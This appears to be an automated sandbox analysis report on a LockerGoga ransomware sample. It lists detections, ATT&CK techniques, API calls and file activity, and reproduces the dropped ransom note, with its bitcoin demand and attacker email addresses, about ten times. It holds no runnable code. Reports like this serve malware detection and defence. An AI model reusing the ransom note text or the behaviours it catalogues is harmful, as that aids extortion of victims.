Analysis Report LockerGogaRecent.exe

Overview

General Information

Joe Sandbox Version:	25.0.0 Tiger's Eye
Analysis ID:	820532
Start date:	20.03.2019
Start time:	10:07:58
Joe Sandbox Product:	Cloud
Overall analysis duration:	0h 17m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	LockerGogaRecent.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 7 (Office 2010 SP2, Java 1.8.0_40 1.8.0_191, Flash 16.0.0.305, Acrobat Reader 11.0.08, Internet Explorer 11, Chrome 55, Firefox 43)
Number of analysed new started processes analysed:	41
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies	HCA enabled EGA enabled HDC enabled
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.phis.spyw.winEXE@99/123@0/0
EGA Information:	Failed
HDC Information:	Successful, ratio: 3.1% (good quality ratio 2.9%) Quality average: 62% Quality standard deviation: 24.2%
HCA Information:	Successful, ratio: 81% Number of executed functions: 130 Number of non-executed functions: 192
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Max analysis timeout: 600s exceeded, the analysis took too long Exclude process from analysis (whitelisted): dllhost.exe, conhost.exe Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size getting too big, too many NtOpenFile calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryDirectoryFile calls found.

Detection

Strategy	Score	Range	Reporting	Whitelisted	Detection
Threshold	100	0 - 100	Report FP / FN	false

Confidence

Strategy	Score	Range	Further Analysis Required?	Confidence
Threshold	5	0 - 5	false

Classification

Analysis Advice

Sample may offer command line options, please run it with the 'Execute binary with arguments' cookbook (it's possible that the command line switches require additional characters like: "-", "/", "--")

Sample tries to load a library which is not present or installed on the analysis machine, adding the library might reveal more behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control
Valid Accounts	Windows Remote Management	Winlogon Helper DLL	Process Injection1	Masquerading1	Credential Dumping	Network Share Discovery1	Application Deployment Software	Man in the Browser1	Data Compressed	Standard Cryptographic Protocol2
Replication Through Removable Media	Service Execution	Port Monitors	Accessibility Features	Process Injection1	Network Sniffing	Process Discovery1	Remote Services	Data from Local System1	Exfiltration Over Other Network Medium	Fallback Channels
Drive-by Compromise	Windows Management Instrumentation	Accessibility Features	Path Interception	Obfuscated Files or Information2	Input Capture	Security Software Discovery31	Windows Remote Management	Data from Network Shared Drive	Automated Exfiltration	Custom Cryptographic Protocol
Exploit Public-Facing Application	Scheduled Task	System Firmware	DLL Search Order Hijacking	Obfuscated Files or Information	Credentials in Files	File and Directory Discovery11	Logon Scripts	Input Capture	Data Encrypted	Multiband Communication
Spearphishing Link	Command-Line Interface	Shortcut Modification	File System Permissions Weakness	Masquerading	Account Manipulation	System Information Discovery33	Shared Webroot	Data Staged	Scheduled Transfer	Standard Cryptographic Protocol

Signature Overview

Click to jump to signature section

AV Detection:

Antivirus detection for submitted file

Show sources

Source: LockerGogaRecent.exe

Avira: Label: TR/LockerGoga.qnfzd

Multi AV Scanner detection for submitted file

Show sources

Source: LockerGogaRecent.exe	virustotal: Detection: 62%			Perma Link
Source: LockerGogaRecent.exe	metadefender: Detection: 21%			Perma Link

Cryptography:

Uses Microsoft's Enhanced Cryptographic Provider

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000CA250 CryptAcquireContextA,CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptAcquireContextA,SetLastError,__CxxThrowException@8,CryptAcquireContextA,___std_exception_copy,	0_2_000CA250
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000CA8E0 CryptReleaseContext,	0_2_000CA8E0
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000CA9B0 CryptGenRandom,CryptReleaseContext,__CxxThrowException@8,	0_2_000CA9B0
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000CA3B0 CryptAcquireContextA,GetLastError,CryptReleaseContext,	0_2_000CA3B0
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000CA740 CryptReleaseContext,	0_2_000CA740
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000CA780 CryptGenRandom,__CxxThrowException@8,	0_2_000CA780
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000CA810 ReleaseMutex,CryptGenRandom,CryptReleaseContext,__CxxThrowException@8,	0_2_000CA810
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000CA250 CryptAcquireContextA,CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptAcquireContextA,SetLastError,__CxxThrowException@8,CryptAcquireContextA,___std_exception_copy,	23_2_000CA250
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000CA810 ReleaseMutex,CryptGenRandom,CryptReleaseContext,__CxxThrowException@8,	23_2_000CA810
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000CA8E0 CryptReleaseContext,	23_2_000CA8E0
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000CA9B0 CryptGenRandom,CryptReleaseContext,__CxxThrowException@8,	23_2_000CA9B0
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000CA3B0 CryptAcquireContextA,GetLastError,CryptReleaseContext,	23_2_000CA3B0
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000CA740 CryptReleaseContext,	23_2_000CA740
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000CA780 CryptGenRandom,__CxxThrowException@8,	23_2_000CA780

Spreading:

Contains functionality to enumerate network shares

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_00095250 NetUserEnum,NetApiBufferFree,NetApiBufferFree,		0_2_00095250
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_00095250 NetUserEnum,NetApiBufferFree,NetApiBufferFree,		23_2_00095250

Enumerates the file system

Show sources

Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File opened: C:\Program Files\Adobe\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File opened: C:\Program Files\Adobe\Reader 11.0\Reader\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File opened: C:\Program Files\Adobe\Reader 11.0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File opened: C:\Program Files\Adobe\Reader 11.0\Reader\AcroExt\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File opened: C:\Program Files\Adobe\Reader 11.0\Esl\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File opened: C:\Program Files\Adobe\Reader 11.0\Reader\AcroExt\locales\	Jump to behavior

Contains functionality to enumerate / list files inside a directory

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000A9970 FindFirstFileW,GetLastError,GetLastError,GetLastError,GetLastError,	0_2_000A9970
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_00124A3B FindFirstFileExA,	23_2_00124A3B
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000A9970 FindFirstFileW,GetLastError,GetLastError,GetLastError,GetLastError,	23_2_000A9970

Contains functionality to query local drives

Show sources

Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe

Code function: 23_2_0005CE90 GetLogicalDriveStringsW,GetDriveTypeW,GetDriveTypeW,

23_2_0005CE90

Networking:

Urls found in memory or binary data

Show sources

Source: tgytutrc3979.exe, 00000022.00000003.2519870637.01D05000.00000004.sdmp	String found in binary or memory: http://clients1.google.com/ocsp0
Source: tgytutrc3979.exe, 00000022.00000003.2524218394.01D1C000.00000004.sdmp	String found in binary or memory: http://crl.geotrust.com/crls/secureca.crl0N
Source: LockerGogaRecent.exe	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: tgytutrc3979.exe, 00000022.00000003.2524218394.01D1C000.00000004.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: tgytutrc3979.exe, 00000022.00000003.2524218394.01D1C000.00000004.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl0=
Source: tgytutrc3979.exe, 00000022.00000003.2524218394.01D1C000.00000004.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=
Source: LockerGogaRecent.exe	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: tgytutrc3979.exe, 00000022.00000003.2519870637.01D05000.00000004.sdmp	String found in binary or memory: http://g.symcb.com/crls/gtglobal.crl0
Source: tgytutrc3979.exe, 00000022.00000003.2519870637.01D05000.00000004.sdmp	String found in binary or memory: http://g.symcd.com0
Source: tgytutrc3979.exe, 00000022.00000003.2524218394.01D1C000.00000004.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: tgytutrc3979.exe, 00000022.00000003.2524218394.01D1C000.00000004.sdmp	String found in binary or memory: http://ocsp.digicert.com0K
Source: LockerGogaRecent.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: tgytutrc3979.exe, 00000022.00000003.2519870637.01D05000.00000004.sdmp	String found in binary or memory: http://pki.google.com/GIAG2.crl0
Source: tgytutrc3979.exe, 00000022.00000003.2519870637.01D05000.00000004.sdmp	String found in binary or memory: http://pki.google.com/GIAG2.crt0
Source: tgytutrc3979.exe, 00000022.00000003.2524218394.01D1C000.00000004.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: tgytutrc3979.exe, 00000022.00000003.2519870637.01D05000.00000004.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: tgytutrc3979.exe, 00000022.00000003.2524218394.01D1C000.00000004.sdmp	String found in binary or memory: http://s2.symcb.com0k
Source: tgytutrc3979.exe, 00000022.00000003.2524218394.01D1C000.00000004.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: tgytutrc3979.exe, 00000022.00000003.2524218394.01D1C000.00000004.sdmp	String found in binary or memory: http://www.symauth.com/rpa0)
Source: tgytutrc3979.exe, 00000022.00000003.2519870637.01D05000.00000004.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: LockerGogaRecent.exe	String found in binary or memory: https://sectigo.com/CPS0C
Source: tgytutrc3979.exe, 00000022.00000003.2524218394.01D1C000.00000004.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: tgytutrc3979.exe, 00000022.00000003.2524218394.01D1C000.00000004.sdmp	String found in binary or memory: https://www.geotrust.com/resources/repository0

Spam, unwanted Advertisements and Ransom Demands:

Detected LockerGoga Ransomware

Show sources

Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe

Code function: 23_2_0008FC60 GetDriveTypeW,ReleaseMutex,GetDriveTypeW,GetFileAttributesExW,RtlInitUnicodeString,NtOpenFile,NtReadFile,NtWriteFile,NtWriteFile,NtClose,

23_2_0008FC60

Detected suspicious e-Mail address in disassembly

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: DharmaParrack@protonmail.comwyattpettigrew8922555@mail.com		0_2_000913D0
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: DharmaParrack@protonmail.comwyattpettigrew8922555@mail.com		23_2_000913D0

Modifies existing user documents (likely ransomware behavior)

Show sources

Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File moved: C:\Users\user\Desktop\EWZCVGNOWT.docx	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File moved: C:\Users\user\Desktop\EOWRVPQCCS\EIVQSAOTAQ.xlsx
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File moved: C:\Users\user\Desktop\EIVQSAOTAQ.docx
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File moved: C:\Users\user\Desktop\EOWRVPQCCS\EOWRVPQCCS.docx	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File moved: C:\Users\user\Desktop\EWZCVGNOWT\JDDHMPCDUJ.xlsx	Jump to behavior

Writes a notice file (html or txt) to demand a ransom

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe	File dropped: C:\Users\Public\Desktop\README_LOCKED.txt -> decryptor etc.will lead to irreversible destruction of your data.to confirm our honest intentions.send us 2-3 different random files and you will get them decrypted.it can be from different computers on your network to be sure that our decoder decrypts everything.sample files we unlock for free (files should not be related to any kind of backups).we exclusively have decryption software for your situationdo not reset or shutdown - files may be damaged.do not rename the encrypted files.do not move the encrypted files.this may lead to the impossibility of recovery of the certain files.the payment has to be made in bitcoins.the final price depends on how fast you contact us.as soon as we receive the payment you will get the decryption tool andinstructions on how to improve your systems securityto get information on the price of the decoder contact us at:dharmaparrack@protonmail.comwyattpettigrew8922555@mail.com
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File dropped: C:\Users\Public\Desktop\README_LOCKED.txt -> decryptor etc.will lead to irreversible destruction of your data.to confirm our honest intentions.send us 2-3 different random files and you will get them decrypted.it can be from different computers on your network to be sure that our decoder decrypts everything.sample files we unlock for free (files should not be related to any kind of backups).we exclusively have decryption software for your situationdo not reset or shutdown - files may be damaged.do not rename the encrypted files.do not move the encrypted files.this may lead to the impossibility of recovery of the certain files.the payment has to be made in bitcoins.the final price depends on how fast you contact us.as soon as we receive the payment you will get the decryption tool andinstructions on how to improve your systems securityto get information on the price of the decoder contact us at:dharmaparrack@protonmail.comwyattpettigrew8922555@mail.com
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File dropped: C:\Users\Public\Desktop\README_LOCKED.txt -> decryptor etc.will lead to irreversible destruction of your data.to confirm our honest intentions.send us 2-3 different random files and you will get them decrypted.it can be from different computers on your network to be sure that our decoder decrypts everything.sample files we unlock for free (files should not be related to any kind of backups).we exclusively have decryption software for your situationdo not reset or shutdown - files may be damaged.do not rename the encrypted files.do not move the encrypted files.this may lead to the impossibility of recovery of the certain files.the payment has to be made in bitcoins.the final price depends on how fast you contact us.as soon as we receive the payment you will get the decryption tool andinstructions on how to improve your systems securityto get information on the price of the decoder contact us at:dharmaparrack@protonmail.comwyattpettigrew8922555@mail.com
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File dropped: C:\Users\Public\Desktop\README_LOCKED.txt -> decryptor etc.will lead to irreversible destruction of your data.to confirm our honest intentions.send us 2-3 different random files and you will get them decrypted.it can be from different computers on your network to be sure that our decoder decrypts everything.sample files we unlock for free (files should not be related to any kind of backups).we exclusively have decryption software for your situationdo not reset or shutdown - files may be damaged.do not rename the encrypted files.do not move the encrypted files.this may lead to the impossibility of recovery of the certain files.the payment has to be made in bitcoins.the final price depends on how fast you contact us.as soon as we receive the payment you will get the decryption tool andinstructions on how to improve your systems securityto get information on the price of the decoder contact us at:dharmaparrack@protonmail.comwyattpettigrew8922555@mail.com
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File dropped: C:\Users\Public\Desktop\README_LOCKED.txt -> decryptor etc.will lead to irreversible destruction of your data.to confirm our honest intentions.send us 2-3 different random files and you will get them decrypted.it can be from different computers on your network to be sure that our decoder decrypts everything.sample files we unlock for free (files should not be related to any kind of backups).we exclusively have decryption software for your situationdo not reset or shutdown - files may be damaged.do not rename the encrypted files.do not move the encrypted files.this may lead to the impossibility of recovery of the certain files.the payment has to be made in bitcoins.the final price depends on how fast you contact us.as soon as we receive the payment you will get the decryption tool andinstructions on how to improve your systems securityto get information on the price of the decoder contact us at:dharmaparrack@protonmail.comwyattpettigrew8922555@mail.com
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File dropped: C:\Users\Public\Desktop\README_LOCKED.txt -> decryptor etc.will lead to irreversible destruction of your data.to confirm our honest intentions.send us 2-3 different random files and you will get them decrypted.it can be from different computers on your network to be sure that our decoder decrypts everything.sample files we unlock for free (files should not be related to any kind of backups).we exclusively have decryption software for your situationdo not reset or shutdown - files may be damaged.do not rename the encrypted files.do not move the encrypted files.this may lead to the impossibility of recovery of the certain files.the payment has to be made in bitcoins.the final price depends on how fast you contact us.as soon as we receive the payment you will get the decryption tool andinstructions on how to improve your systems securityto get information on the price of the decoder contact us at:dharmaparrack@protonmail.comwyattpettigrew8922555@mail.com
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File dropped: C:\Users\Public\Desktop\README_LOCKED.txt -> decryptor etc.will lead to irreversible destruction of your data.to confirm our honest intentions.send us 2-3 different random files and you will get them decrypted.it can be from different computers on your network to be sure that our decoder decrypts everything.sample files we unlock for free (files should not be related to any kind of backups).we exclusively have decryption software for your situationdo not reset or shutdown - files may be damaged.do not rename the encrypted files.do not move the encrypted files.this may lead to the impossibility of recovery of the certain files.the payment has to be made in bitcoins.the final price depends on how fast you contact us.as soon as we receive the payment you will get the decryption tool andinstructions on how to improve your systems securityto get information on the price of the decoder contact us at:dharmaparrack@protonmail.comwyattpettigrew8922555@mail.com
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File dropped: C:\Users\Public\Desktop\README_LOCKED.txt -> decryptor etc.will lead to irreversible destruction of your data.to confirm our honest intentions.send us 2-3 different random files and you will get them decrypted.it can be from different computers on your network to be sure that our decoder decrypts everything.sample files we unlock for free (files should not be related to any kind of backups).we exclusively have decryption software for your situationdo not reset or shutdown - files may be damaged.do not rename the encrypted files.do not move the encrypted files.this may lead to the impossibility of recovery of the certain files.the payment has to be made in bitcoins.the final price depends on how fast you contact us.as soon as we receive the payment you will get the decryption tool andinstructions on how to improve your systems securityto get information on the price of the decoder contact us at:dharmaparrack@protonmail.comwyattpettigrew8922555@mail.com
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File dropped: C:\Users\Public\Desktop\README_LOCKED.txt -> decryptor etc.will lead to irreversible destruction of your data.to confirm our honest intentions.send us 2-3 different random files and you will get them decrypted.it can be from different computers on your network to be sure that our decoder decrypts everything.sample files we unlock for free (files should not be related to any kind of backups).we exclusively have decryption software for your situationdo not reset or shutdown - files may be damaged.do not rename the encrypted files.do not move the encrypted files.this may lead to the impossibility of recovery of the certain files.the payment has to be made in bitcoins.the final price depends on how fast you contact us.as soon as we receive the payment you will get the decryption tool andinstructions on how to improve your systems securityto get information on the price of the decoder contact us at:dharmaparrack@protonmail.comwyattpettigrew8922555@mail.com
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File dropped: C:\Users\Public\Desktop\README_LOCKED.txt -> decryptor etc.will lead to irreversible destruction of your data.to confirm our honest intentions.send us 2-3 different random files and you will get them decrypted.it can be from different computers on your network to be sure that our decoder decrypts everything.sample files we unlock for free (files should not be related to any kind of backups).we exclusively have decryption software for your situationdo not reset or shutdown - files may be damaged.do not rename the encrypted files.do not move the encrypted files.this may lead to the impossibility of recovery of the certain files.the payment has to be made in bitcoins.the final price depends on how fast you contact us.as soon as we receive the payment you will get the decryption tool andinstructions on how to improve your systems securityto get information on the price of the decoder contact us at:dharmaparrack@protonmail.comwyattpettigrew8922555@mail.com

DDoS:

Too many similar processes found

Show sources

Source: unknown

Process created: 48

System Summary:

Uses logoff.exe to logoff the current user

Show sources

Source: unknown

Process created: C:\Windows\System32\logoff.exe C:\Windows\system32\logoff.exe

Abnormal high CPU Usage

Show sources

Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe

Process Stats: CPU usage > 98%

Contains functionality to call native functions

Show sources

Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe

Code function: 23_2_0008FC60 GetDriveTypeW,ReleaseMutex,GetDriveTypeW,GetFileAttributesExW,RtlInitUnicodeString,NtOpenFile,NtReadFile,NtWriteFile,NtWriteFile,NtClose,

23_2_0008FC60

Contains functionality to communicate with device drivers

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe

Code function: 0_2_000AA410: CreateFileW,DeviceIoControl,CloseHandle,

0_2_000AA410

Creates mutexes

Show sources

Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe

Mutant created: \Sessions\2\BaseNamedObjects\MX-tgytutrc

Detected potential crypto function

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000D1880	0_2_000D1880
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000B4060	0_2_000B4060
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000CB07A	0_2_000CB07A
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000A8150	0_2_000A8150
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_00128166	0_2_00128166
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_0011B2BE	0_2_0011B2BE
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000B42E0	0_2_000B42E0
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000CB422	0_2_000CB422
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000CC435	0_2_000CC435
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000B44B0	0_2_000B44B0
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000785B0	0_2_000785B0
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000B7610	0_2_000B7610
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000D56F0	0_2_000D56F0
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_0010E796	0_2_0010E796
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000B8790	0_2_000B8790
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_0009D7B0	0_2_0009D7B0
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_00104830	0_2_00104830
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000A6840	0_2_000A6840
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_00067850	0_2_00067850
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_00105A63	0_2_00105A63
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000D5AD0	0_2_000D5AD0
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_00115B00	0_2_00115B00
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000C6B10	0_2_000C6B10
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000C7BE0	0_2_000C7BE0
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000A5C20	0_2_000A5C20
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_0008FC60	0_2_0008FC60
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000D3C80	0_2_000D3C80
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000A4CC0	0_2_000A4CC0
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_00086CF0	0_2_00086CF0
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000CBDC7	0_2_000CBDC7
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000B3E50	0_2_000B3E50
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000D3E60	0_2_000D3E60
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000D5F30	0_2_000D5F30
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_00107FF7	0_2_00107FF7
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000A8150	23_2_000A8150
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000CC435	23_2_000CC435
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_0009D7B0	23_2_0009D7B0
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000D1880	23_2_000D1880
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_0008FC60	23_2_0008FC60
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000D4040	23_2_000D4040
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000B4060	23_2_000B4060
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000F4159	23_2_000F4159
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_00128166	23_2_00128166
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000B42E0	23_2_000B42E0
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000B44B0	23_2_000B44B0
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000785B0	23_2_000785B0
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000B8790	23_2_000B8790
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_00104830	23_2_00104830
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000CC8CF	23_2_000CC8CF
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000D4910	23_2_000D4910
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000A4CC0	23_2_000A4CC0
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000F11D3	23_2_000F11D3
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000D56F0	23_2_000D56F0
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_0011173B	23_2_0011173B
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000F19B9	23_2_000F19B9
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_00105A63	23_2_00105A63
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000D5AD0	23_2_000D5AD0
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_00115B00	23_2_00115B00
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000A5C20	23_2_000A5C20
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_00105DD5	23_2_00105DD5
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000D5F30	23_2_000D5F30
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_0010607F	23_2_0010607F
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_00106346	23_2_00106346
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000F6551	23_2_000F6551
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_00106601	23_2_00106601
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_0010E796	23_2_0010E796
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000A6840	23_2_000A6840
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_001228D9	23_2_001228D9
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000DAA9B	23_2_000DAA9B
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000C6B10	23_2_000C6B10
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_00086CF0	23_2_00086CF0
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000CB07A	23_2_000CB07A
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000CB087	23_2_000CB087
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_0011B2BE	23_2_0011B2BE
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000CB422	23_2_000CB422
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000B7610	23_2_000B7610
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_00067850	23_2_00067850
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000C7BE0	23_2_000C7BE0
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000D3C80	23_2_000D3C80
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000CBDC7	23_2_000CBDC7
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000B3E50	23_2_000B3E50
